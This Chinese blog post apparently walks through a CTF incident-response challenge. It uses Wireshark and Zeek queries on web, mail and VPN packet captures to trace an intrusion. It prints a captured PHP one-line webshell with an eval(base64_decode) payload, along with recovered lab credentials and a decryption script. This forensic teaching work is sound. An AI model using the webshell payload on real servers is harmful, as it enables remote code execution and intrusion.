应急响应(重点)——记一次某公司流量应急溯源分析(附带下载链接)

之前找到了了一个应急响应的流量包,但不知道是什么比赛的,觉得很不错,所以今天给大家拿来讲解一下,这其中也是有着一些新知识;

文章目录


题目背景

某企业网络近期发生未经授权的访问事件。经安全团队初步研判,已知攻击链路如下:攻击者首先突破了企业对外暴露的Web服务器,并成功获取后台管理凭据。随后,利用密码复用登录内部Mail系统,通过信息收集获取了内部VPN的配置与接入方式。

攻击者借此成功接入企业内网。进入内网后,为建立隐蔽的持久化据点并进行横向移动,攻击者利用已知漏洞攻陷了一台内网网络打印机,并获取了该设备的控制权。

现提供本次安全事件的完整PCAP流量包,请对流量特征进行分析,还原攻击细节,并回答以下技术问题。

bash 复制代码
1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器?
2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是?
3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台?
4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码?
5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么?
6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少?
7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么?
8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么?
9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip?
10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆?
11.某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少?

下载链接

链接:https://pan.baidu.com/s/1rlKVlXtCR794E7ZQPhQf6Q

提取码:lulu

具体流量内容如下:

话不多说,我们直接开始溯源分析;

溯源过程

我们根据题目描述,可以知道攻击者的攻击链路:

bash 复制代码
攻击入侵Web服务器 -→ 利用密码进入mail系统 -→ 信息收集内部VPN -→ 攻入内网

==流量包的查看顺序也应如此==

所以我们首先将目光放在webone.pcapwebtwo.pacp两个流量包里:

webone.pacp流量包分析

分别分析一下里面都有哪些可以IP以及访问的次数;

bash 复制代码
count() by id.orig_h,status_code,http | status_code==404
count() by id.orig_h,status_code,http | status_code==200

# 统计出现过的IP地址
_path=="conn" | count() by id.orig_h | sort -r



所有出现过的IP地址:

这里我们大概可以得到攻击者的IP:

  • 攻击IP:192.168.94.59

(1)攻击者使用的扫描器

根据题目要求的 "黑客使用的扫描器",这里我们可以参考之前写过的文章:

这里我们在Wireshark里输入相应扫描器的过滤表达式,好巧不巧,发现了如下结果:

bash 复制代码
http contains "Acunetix"
http contains "bxss.me"

攻击者也是很"粗心",没有修改扫描器的默认配置,导致我们很容易就发现了Acunetix关键词;


(2)黑客扫描到的登陆后台是?

既然是"后台登陆",那么一般来说都会含有关键字:

  • admin
  • login
  • system
  • 同时提交账号密码的时候,一般都会使用POST进行传参;

结合上述思路,我们可以对流量包进行相应的过滤:

bash 复制代码
# 统计访问过的Web目录
_path=="http" id.orig_h==192.168.94.59 status_code==200 | count() by uri | sort -r

结果如下:

可以看到,很明显的/admin/login.php?rec=login,应该就是攻击者访问的后台登陆地址了;

当然我们也可以用Wireshark进行过滤访问:

bash 复制代码
http.request.method == "POST"

同样能够得到结果;


(3)使用了什么账号密码登陆了web后台?

  • 黑客在爆破密码时会产生大量的失败请求(通常状态码为 200 并伴随错误提示,或者 401/403)。

  • 爆破成功 时,状态码通常会变成 302(重定向到后台首页)或长度发生明显变化的 200;

bash 复制代码
# 过滤所有 POST 请求并观察状态码
_path=="http" id.orig_h==192.168.94.59 method=="POST" | cut ts, uri, status_code, response_body_len

# 后台登录成功后会进行跳转
_path=="http" id.orig_h==192.168.94.59 method=="POST" status_code==302 | cut ts, id.orig_p, uri, status_code

结果如下:

第一条命令如上,我们可以得到攻击者不仅登陆了后台,还上传了一个a.php可疑文件;

第二条命令如上,我们得到了攻击者成功登陆的流量记录(时间戳)

随后我们进入Wireshark进行查看详细内容(这里问了下GPT,如何查找):

bash 复制代码
# 推荐用 frame.time_epoch转换时间戳
# 2018-08-08T08:11:45.546131Z 转化为 1533715905.546131

frame.time_epoch == 1533715905.546131

精确得到结果:

查看详细内容:

怎么验证是否真的进入了系统呢,那就直接查看下一个包(第72638包)不就好了吗?

可以看到,URL进行了跳转,很明显就是后台页面;

所以我们得到了相应的账号密码:

bash 复制代码
user_name=admin&password=admin%21%40%23pass123&submit=%E7%99%BB%E5%BD%95
  • 账号:admin
  • 密码:admin!@#pass123

(4)上传的webshell文件名是,内容是什么,提交webshell内容的base编码

这里我们上述分析得到了结果,Webshell的文件名为a.php,再查看其相应内容:

先对其进行过滤:

bash 复制代码
http.request.method=="POST" and ip.src==192.168.94.59 and http

详细内容如下:

bash 复制代码
1234=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

发现以1234为传递值(很明显的一句话木马特征),并且经过base64编码的密文,解密之后发现为php代码:

我们得到的流量包是"上传后执行命令的",而不是第一次上传时的木马内容;

所以我们需要找到第一次上传木马时的流量记录:

bash 复制代码
http contains "<?php @eval"

# 发现并没有数据,考虑可是能tcp重传 导致,在此使用过滤
tcp contains "<?php @eval"

原因:

  • http contains "<?php @eval" 查不到,而 tcp contains "<?php @eval" 能查到,是因为前者只能在 Wireshark 已经成功解析成 HTTP 的数据里搜索,但如果流量存在 TCP 重传、分包、乱序或 HTTP 解析失败,Wireshark 就无法正确识别 HTTP 内容;
  • tcp contains 是直接在 TCP 原始负载里匹配字符串,不依赖 HTTP 解析,所以即使流量异常、重传或不完整,也依然能搜到这段 WebShell 特征。

结果如下:


成功得到答案;


(5)在robots.txt中找到的flag是什么

这更是简单,直接把关键词都说出来了:

bash 复制代码
http contains "robots.txt"

查看详细内容:


这里应该查看"HTTP流",而不是查看"TCP流";


webtwo.pacp流量包分析

这里我们可以看到,该流量包主要是数据库的记录结果:

查看一下数据库出现过的IP地址(这里就不是外网地址了,一般都是内网地址

bash 复制代码
# 统计出现过的IP地址
_path=="conn" | count() by id.orig_h | sort -r

(6)黑客找到的数据库密码是多少?

终于到第二个流量包了,既然是数据库密码,那么我们应该想到如下关键词:

  • mysql
  • database
  • dbpass
  • dbuser
bash 复制代码
# 全局搜索一下关键词
"mysql" or "database" or "dbpass" or "dbuser"

可以看到虽然有结果,但还包含了查询语句(数量过多,不容易找到关键结果);

继续使用Wireshark进行过滤:数据库登陆成功,那么http的响应码为200

bash 复制代码
http.response.code==200 and http contains "database"

成功得到结果:


结果如下:

bash 复制代码
// database host
$dbhost   = "10.3.3.101";

// database name
$dbname   = "web";

// database username
$dbuser   = "web";

// database password
$dbpass   = "e667jUPvJjXHvEUv";

(7)黑客在数据库中找到的hash_code是什么?

既然是搜索hash_code,那肯定要用到select语句,直接查找关键字:

bash 复制代码
 _path=="mysql" cmd=="query" "hash_code" success==true | cut ts, arg, rows

但很可惜,这个工具失败了,因为由一万多条记录;

只能使用Wireshark了,因为之前知道了数据库的IP地址

bash 复制代码
ip.src==10.3.3.101 and tcp contains "hash_code"

查看详细内容:

--

(8)破解了账号ijnu@test.com得到的密码是什么?

直接在 "分组字节流" 进行查询账号ijnu@test.com分组详情,根据字符串查询:

查看详细内容:

bash 复制代码
/....SELECT * FROM `dou_admin` ORDER BY user_id ASC
.....9....def.web	dou_admin	dou_admin.user_id.user_id.?......#B...=....def.web	dou_admin	dou_admin	user_name	user_name.!...........5....def.web	dou_admin	dou_admin.email.email.!...........;....def.web	dou_admin	dou_admin.password.password.!.`.........A....def.web	dou_admin	dou_admin.action_list.action_list.!...........;....def.web	dou_admin	dou_admin.add_time.add_time.?...........?....def.web	dou_admin	dou_admin
last_login
last_login.?...........9..	.def.web	dou_admin	dou_admin.last_ip.last_ip.!.-............
...".`....1.admin.admin@test.com f2035d746a5c2752e57c4478a2b6e57a.ALL
1478789095
1533645058
192.168.94.68a....5........hr@test.com 2a85d7e7551ffcb843535702ca15c736.ADMIN
1480085158
1533710477.192.168.94.233m..
.6	..........xiaolan.qian@test.com 8d9e34fdb496166ee8fd1aa77e3240cb.ADMIN
1480346343
1480430235
172.16.66.129d....7.xiruo.ruo.xi@test.com c57954b2746d66dd149a742d4ab291ab.ADMIN
1480349823
1530779016.192.168.28.215O....8.qkk.kunkun.qin@test.com 902e14267dbf1fcc898d43820df5f4dc.ADMIN
1480349879.0.O....16........xuyang@test.com 5d9b889568c95ab74dd10d03cde6e98a.ADMIN
1480351475.0.P....17	.........
sool@test.com 9c0db863d780c6d990b65fca29cdd5ba.ADMIN
1530779627.0.P....18	.........
holo@test.com 86e980cf7e30641e9e0901fe4545f402.ADMIN
1530779689.0.P....19	.........
ijnu@test.com b78f5aa6e1606f07def6e839121a22ec.ADMIN
1530779719.0.Q....20........meirenle@test.com fe04c5d64e93be146143c3c1a1efbf0a.ADMIN
1530779767.0........".

对内容进行md5解密,得到结果:

--

(9)被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip?

一般来说根据经验,网卡名字一般为eth0或者ens33,利用关键词过滤:

bash 复制代码
tcp contains "ens33"
tcp contains "eth0"

成功得到结果:

结果如下:

  • eth0 ip为192.168.32.189
  • eth1 ip为10.3.3.100

mailtwo.pacp流量包分析

这里我们接着分析内部邮箱的流量;

(10)黑客使用了什么账号登陆了mail系统

本关参考了网上WP

因为是账号密码,所以还是使用POST进行登陆:

bash 复制代码
http.request.method==POST && http contains "mail"

发现大部分都是登陆包:

不过观察了一会后,发现自从这个包后,不再出现login.php:

(这个包确实是登陆成功后的跳转包)

所以我们需要找到上一个登陆包(随便找一个login包

发现密码确是加密的

接下来我们需要寻找相应的"加密方式",才能逆向出密码;


这里我们发现了加密的方式,以及偏移量IVAES密钥

js 复制代码
var loginCheck = function(form) {
    // 判断用户名是否为空
    if (form.username.value == "") {
        alert("用户名不能为空");
        form.username.focus();
        return false;
    }

    // 判断密码是否为空
    if (form.password.value == "") {
        alert("密码不能为空");
        form.password.focus();
        return false;
    }

    // 用户名和密码都不为空时
    else {

        // 对字符串进行 MD5 计算,生成 AES 密钥
        var key_hash = CryptoJS.MD5('1234567812345678');

        // 将密钥转换为 UTF-8 格式
        var key = CryptoJS.enc.Utf8.parse(key_hash);

        // 设置 AES 加密的 IV(偏移量)
        var iv = CryptoJS.enc.Utf8.parse('1234567812345678');

        // 使用 AES-CBC 模式加密密码
        form.password.value = CryptoJS.AES.encrypt(
            form.password.value,   // 要加密的密码
            key,                   // AES 密钥
            {
                iv: iv,                            // IV 向量
                mode: CryptoJS.mode.CBC,          // CBC 模式
                padding: CryptoJS.pad.ZeroPadding // ZeroPadding 填充
            }
        );
    }
}

取出来发现是AES的CBC加密,填充格式为ZeroPadding

mailtwo.pcap中过滤http,第三条数据的Cookie中发现了 login_name=wenwenni字段,并且是action=logout


(这条记录后,不再出现POST传参,所以猜测应该是登陆成功了;)


随后查看下一个包,发现登录用户依然为wenwenni,因为这个用户刚刚推出,所以猜测是使用cookie登录的,查看一下返回数据44号中出现{"success":true},代表登陆成功。

所以使用语句过滤一下:

bash 复制代码
(http contains "\"success\":true" or http.request.method == "POST") and ip.addr == 192.168.94.59

显示出post请求成功的返回结果,发现是在爆破,并且直到mailtwo.pcap的最后也未爆破成功。于是打开mailtwo1.pcap,用相同的过滤条件试试,发现几条数据,从后往前看,发现No.18152是登陆成功的返回结果,那对应的No.17126则就是正确的加密后的密码。


结合之前的偏移量IV密钥key ,我们可以对加密结果Form item: "password" = "+ZgE14UGcFcyRGLI0/ZXPQ=="进行解密:

  • 取出来发现是AES的CBC加密,填充格式为ZeroPadding
  • 密钥为字符串1234567812345678的md5值
  • 偏移量为1234567812345678

然后解密字符串:+ZgE14UGcFcyRGLI0/ZXPQ==

python 复制代码
from Crypto.Cipher import AES
import base64

# 密文
cipher_text = "+ZgE14UGcFcyRGLI0/ZXPQ=="

# 正确key(32字节)
key = "d959caadac9b13dcb3e609440135cf54".encode()

# iv
iv = "1234567812345678".encode()

# Base64解码
cipher_data = base64.b64decode(cipher_text)

# AES-CBC 解密
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密
plain_text = cipher.decrypt(cipher_data)

# 去除 ZeroPadding
plain_text = plain_text.rstrip(b'\x00')

print("原始字节:", plain_text)
print("解密结果:", plain_text.decode())

得到结果:admin!@#PASS123

vpn.pacp流量包分析

(11)黑客获得的vpn的ip是多少?

本关同样参考网上WP;

我们打开vpnone.pcap,发现:

vpnone.pcap应该只是在尝试登陆VPN,再来查看下vpntwo.pcap

在统计------>IPV4中发现:


10.3.4.9610.3.4.5510.3.4.3出现的次数最多:

先过滤一下SMB,发现​​10.3.4.96​​是SMB服务器,排除,再来查询下​​10.3.4.55​​:

bash 复制代码
ip.addr==10.3.4.55 

所以,第一个包在尝试登陆vpn,第二个包登陆上了vpn,然后第二个包 从 统计->对话 发现10.3.4.3和10.3.4.96发出的包比较多,而且过滤一下smb发现10.3.4.96是smb服务器,筛选10.3.4.55(另一个流量大点的地址)发现是10.3.4.3先ping它的,基本可以确定10.3.4.3就是黑客的vpn IP;

最后两关确实没遇到过,也算是学习了一遍新知识;

总结

bash 复制代码
- 攻击者使用的扫描器:AWVS
- 攻击者登陆的后台地址:/admin/login.php?rec=login
- 使用的账号密码登陆:admin / admin!@#pass123
- 提交的文件名,base编码内容: a.php 
- robots.txt内容:flag:87b7cb79481f317bde90c116cf36084b
- 数据库密码:e667jUPvJjXHvEUv
- hash_code d1c029893df40cb0f47bcf8f1c3c17ac
- 破解账号得到的密码:edc123!@#
- 网卡配置:192.168.32.189 / 10.3.3.100
- 登陆的账号:admin!@#PASS123
- 黑客IP:10.3.4.3

期待下次再见;保持不断学习的能力;

相关推荐
yexuhgu1 小时前
CSS如何利用-checked实现纯CSS手风琴折叠_通过状态选择器控制区域高度
jvm·数据库·python
前端Hardy1 小时前
pnpm 11.0 正式登场:安装起飞、安全拉满、彻底告别 npm 依赖
前端
PILIPALAPENG1 小时前
第4周 Day 1:智能体记忆系统——给 Agent 一个"大脑"
前端·人工智能·python
_风满楼1 小时前
TDD实战-会议室冲突检测的红绿重构循环
前端·javascript·算法
Rkgua2 小时前
JS中的惰性函数基本介绍
前端·javascript
客场消音器2 小时前
我用两周半 Vibe Coding 做了一个前额叶训练的微信小程序
前端·javascript·后端
大大大大晴天️2 小时前
浅聊Hadoop集群的主流安全方案(LDAP+Kerberos+Ranger)
大数据·hadoop·安全
2301_779622412 小时前
mysql如何通过主从备份实现读写分离_配置mysql架构模式
jvm·数据库·python
其实防守也摸鱼2 小时前
无线网络安全--实验 规避WLAN验证之发现隐藏的SSID
java·开发语言·网络·安全·web安全·智能路由器·无线网络安全